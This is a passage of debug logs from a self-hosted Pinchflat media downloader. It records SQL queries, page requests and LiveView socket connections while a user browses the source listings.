(m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:58:31.296 [debug] Replied in 3ms 21:58:31.298 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:31.298 [debug] Replied in 54µs 21:58:31.781 [debug] Current batch of media processed. Will check again in 1000ms 21:58:31.825 [debug] Current batch of media processed. Will check again in 1000ms 21:58:32.782 [debug] Current batch of media processed. Will check again in 1000ms 21:58:32.826 [debug] Current batch of media processed. Will check again in 1000ms 21:58:33.783 [debug] Current batch of media processed. Will check again in 1000ms 21:58:33.827 [debug] Current batch of media processed. Will check again in 1000ms 21:58:34.784 [debug] Current batch of media processed. Will check again in 1000ms 21:58:34.828 [debug] Current batch of media processed. Will check again in 1000ms 21:58:35.785 [debug] Current batch of media processed. Will check again in 1000ms 21:58:35.829 [debug] Current batch of media processed. Will check again in 1000ms 21:58:36.078 [info] GET /sources 21:58:36.079 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:58:36.079 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1347.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:36.080 [debug] QUERY OK source="settings" db=0.4ms idle=1348.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:36.081 [debug] QUERY OK source="settings" db=0.6ms idle=1349.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:36.082 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1350.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:36.083 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=846.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:36.085 [debug] QUERY OK source="sources" db=1.2ms queue=0.4ms idle=3.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:36.087 [debug] QUERY OK source="sources" db=1.6ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:36.089 [info] Sent 200 in 10ms 21:58:36.342 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MGInPQ9EMVEyKQ5EEGN0Jyk6NAgFMQJ1HQUI76b3wdM-zQ7NzezIsvNL", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:36.392 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:58:36.394 [debug] QUERY OK source="sources" db=1.7ms idle=310.2ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:36.396 [debug] QUERY OK source="sources" db=1.7ms idle=311.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:36.397 [debug] Replied in 4ms 21:58:36.399 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:36.399 [debug] Replied in 62µs 21:58:36.786 [debug] Current batch of media processed. Will check again in 1000ms 21:58:36.830 [debug] Current batch of media processed. Will check again in 1000ms 21:58:37.787 [debug] Current batch of media processed. Will check again in 1000ms 21:58:37.831 [debug] Current batch of media processed. Will check again in 1000ms 21:58:38.788 [debug] Current batch of media processed. Will check again in 1000ms 21:58:38.832 [debug] Current batch of media processed. Will check again in 1000ms 21:58:39.789 [debug] Current batch of media processed. Will check again in 1000ms 21:58:39.833 [debug] Current batch of media processed. Will check again in 1000ms 21:58:40.463 [info] GET /sources/5 21:58:40.463 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 21:58:40.464 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=732.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.465 [debug] QUERY OK source="media_profiles" db=0.7ms idle=733.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:40.466 [debug] QUERY OK source="tasks" db=0.6ms idle=734.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 21:58:40.467 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=735.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [862] 21:58:40.467 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=224.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:40.468 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:40.469 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:40.471 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.472 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:40.473 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:40.474 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.474 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:40.475 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:40.476 [debug] QUERY OK source="sources" db=0.4ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.477 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:40.478 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:40.478 [info] Sent 200 in 14ms 21:58:40.729 [info] CONNECTED TO Phoenix.LiveView.Socket in 23µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OkUDJH8dGBcBdRQMCF0ZLTFpKRgiAh57BvqPGoKuD8WeboZDb6gYTERB", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:40.769 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending", "source_id" => 5} 21:58:40.770 [debug] QUERY OK source="sources" db=0.6ms idle=294.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.771 [debug] QUERY OK source="media_items" db=0.6ms idle=295.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream 